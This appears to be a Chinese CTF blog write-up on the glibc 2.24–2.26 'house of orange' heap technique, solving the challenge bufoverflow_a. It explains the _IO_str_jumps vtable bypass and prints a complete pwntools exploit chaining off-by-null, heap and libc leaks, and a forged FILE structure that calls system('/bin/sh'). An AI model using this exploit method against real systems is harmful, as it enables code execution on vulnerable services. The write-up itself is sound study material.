glibc.2.24-2.26——house of orange

glibc.2.24-2.26——house of orange

上次说到glibc2.23的house of orange 以及相关的FSOP手法,由于在glibc2.24之后加入了对vtable的检查,导致之前那种方法失效,2.24的检查是IO_validate_vtable要求我们的vtable必须在__stop___libc_IO_vtables__start___libc_IO_vtables之间,所以我们之前伪造在heap上的方法就失效了,但是仍然有新的方法去绕过这个检查

方法

使用 vtable 内的地址来作为 vtable 的地址,大致可以分为两个结构体_IO_str_jumps 或 _IO_wstr_jumps ,他们都会调用 _IO_str_overflow,以 _IO_str_jumps 为例

image-20240801105317095

注意看它会调用 _IO_str_finnish

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

注意看它在一定条件的时候会把_IO_buf_base 当做参数并调用 (_IO_strfile *) fp)->_s._free_buffer)指针所指地址,在GDB分析得此处地址就是fp+0xe8处的位置,那么把此处伪造成_IO_str_jumps-8的位置,那么在调用 _IO_overflow的时候就会调用到 _IO_str_finnish ,那么把fp+0xe8处的地址放上system, _IO_buf_base 处的地址放上 /bin/sh地址,那么也可以实现调用system来获取shell,不过要注意,2.24之后我们不能直接放入/bin/sh字符串了,而是要用libc里面的/bin/sh地址,不过这次我们不用泄露heap地址了,但是对于有些题目还是需要的,比如接下来的这道题目。

题目演示

程序保护情况

image-20240801111925028

64位ida逆向

菜单

image-20240801112328481

add函数,申请堆块有个数限制,并且前两个使用malloc申请后来都使用,calloc申请,也就是意味着,我们要泄露地址只能靠前面两个堆块

image-20240801112556176

free函数,指针清空,没有UAF

image-20240801112727430

show函数,存在00截断

image-20240801112820737

edit函数,不幸的是我们只能编辑最后申请的堆块,但是存在off_by_null 漏洞

image-20240801113217034

image-20240801113227238

image-20240801113632295

分析

1.泄露libc地址,这个好办,因为前两个是通过malloc申请的,本地环境是glibc2.24,所以我们申请unsortbin堆块范围大小,然后释放掉这样堆块上会有残留的地址,之后申请回来然后show就可以得到libc地址

2.泄露heap地址,这题是2.24版本,house of orange 不需要heap地址啊,为什么要泄露??因为此题也没有溢出,那么我们想要溢出那么就要实现堆块重叠,然后修改到unsortbin的指针,那么我们就要伪造unsortbin堆块,再利用off_by_null实现堆块合并topchunk的前移,那么就需要伪造fd,bk指针,所以要泄露heap地址,那么该怎么泄露呢,因为不能溢出所以unsrotbin attack方法自然不能用了,所以可以利用largebin 来泄露,让释放堆块残留的fd_nextsize指针来泄露heap地址,因为calloc在申请堆块的时候会清空堆块内容所以我们让topchunk将所有的堆块合并,此时largebin那些残留的地址还留在堆块上,然后此时申请比第一个申请堆块(泄露libc_地址大0x10)的堆块,因为此时数据区域指向fd_nextsize处,所以此时再次申请一个堆块就可以泄露出heap地址

3.接下来利用off_by_null来伪造堆块,因为我们要达到堆块重叠

4.由于calloc申请堆块会清空堆块内容所以要恢复堆块头

5.绕过libc检查,及构造两个fake_chunk大小加起来和大chunk大小一样

6.FSOP

泄露libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0x80) #0
add(0x80) #1

free(0)
free(1)
add(0x80) #0
show()
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - (0x000076ec9e399b58 - 0x76ec9e399af0) - libc.sym['__malloc_hook']
success('libc_base---->'+hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh'))

泄露heap地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0x400) #1
add(0x80) #2
gdb.attach(io)
free(1)
add(0x500) #1
free(1)
free(2)
free(0)
add(0x90)
add(0x80)

show()
io.recvuntil('\x20')
heap_addr = u64(io.recv(6).ljust(8,b'\x00')) -0xb0
success('heap_addr----->'+hex(heap_addr))

off_by_null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
free(0)
free(1)

add(0x208) #0

fake_chunk = b'a'*0x20
fake_chunk += p64(0) + p64(0x1E1)
fake_chunk += p64(heap_addr + 0x50)*2
fake_chunk = fake_chunk.ljust(0x200,b'a')
fake_chunk += p64(0x1E0)

edit(fake_chunk)

add(0x80) #1
add(0xf0) #2

edit('b'*0xf0)
free(1)
add(0x88)
edit(b'b'*0x80 + p64(0x270))
free(2)

恢复堆块结构

1
2
3
4
5
6
7
add(0x290)
payload = b'b'*0x1d0 + p64(0) + p64(0x91) + b'a'*0x80 + p64(0) + p64(0x101) +b'\n'
edit(payload)
#gdb.attach(io)
free(1)
free(0)

绕过检查

1
2
3
4
5
6
7
8
add(0x290) #1
payload = b'a'*0x20 + p64(0) + p64(0x91) + b'a'*0x80 + p64(0) + p64(0x151) + b'\n'
edit(payload)
free(0)
free(2)
#gdb.attach(io)
add(0x290)

FSOP

1
2
3
4
5
6
7
8
9
10
11
12
add(0x290)

payload = b'a'*0x20
file = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
file += p64(0) + p64(110) +p64(0xdeadbeef) + p64(binsh)
file = file.ljust(0xD8,b'\x00')
file += p64(_IO_str_jumps - 0x8)
file += p64(0) + p64(system) +b'\n'
payload += file
edit(payload)
add(0x90)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./bufoverflow_a')
libc = ELF('./libc.so.6')


def add(size):
io.sendlineafter('>>','1')
io.sendlineafter('Size:',str(size))


def free(index):
io.sendlineafter('>>','2')
io.sendlineafter('Index:',str(index))

def edit(msg):
io.sendlineafter('>>','3')
io.sendafter('Content: ',msg)

def show():
io.sendlineafter('>>','4')


add(0x80) #0
add(0x80) #1

free(0)
free(1)
add(0x80) #0
show()
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - (0x000076ec9e399b58 - 0x76ec9e399af0) - libc.sym['__malloc_hook']
success('libc_base---->'+hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh'))




def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
success('_IO_str_jumps---->'+hex(possible_IO_str_jumps_offset))
return possible_IO_str_jumps_offset





_IO_str_jumps = libc_base + get_IO_str_jumps()
success('_IO_file_jumps---->'+hex(_IO_str_jumps))
pause()
add(0x400) #1
add(0x80) #2
gdb.attach(io)
free(1)
add(0x500) #1
free(1)
free(2)
free(0)
add(0x90)
add(0x80)

show()
io.recvuntil('\x20')
heap_addr = u64(io.recv(6).ljust(8,b'\x00')) -0xb0
success('heap_addr----->'+hex(heap_addr))

free(0)
free(1)

add(0x208) #0

fake_chunk = b'a'*0x20
fake_chunk += p64(0) + p64(0x1E1)
fake_chunk += p64(heap_addr + 0x50)*2
fake_chunk = fake_chunk.ljust(0x200,b'a')
fake_chunk += p64(0x1E0)

edit(fake_chunk)

add(0x80) #1
add(0xf0) #2

edit('b'*0xf0)
free(1)
add(0x88)
edit(b'b'*0x80 + p64(0x270))
free(2)
gdb.attach(io)
add(0x290)
payload = b'b'*0x1d0 + p64(0) + p64(0x91) + b'a'*0x80 + p64(0) + p64(0x101) +b'\n'
edit(payload)
#gdb.attach(io)
free(1)
free(0)
#gdb.attach(io)
add(0x290) #1
payload = b'a'*0x20 + p64(0) + p64(0x91) + b'a'*0x80 + p64(0) + p64(0x151) + b'\n'
edit(payload)
free(0)
free(2)
#gdb.attach(io)
add(0x290)

payload = b'a'*0x20
file = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
file += p64(0) + p64(110) +p64(0xdeadbeef) + p64(binsh)
file = file.ljust(0xD8,b'\x00')
file += p64(_IO_str_jumps - 0x8)
file += p64(0) + p64(system) +b'\n'
payload += file
edit(payload)
add(0x90)


io.interactive()

参考

攻防世界PWN之bufoverflow_a题解(house of orange in 2.24&house of Einherjar)_pwn houseoforange 2.24bypass-CSDN博客


glibc.2.24-2.26——house of orange
https://ch13hh.github.io/2024/08/01/glibc.2.24-2.26——house of orange/
发布于
2024年8月1日
许可协议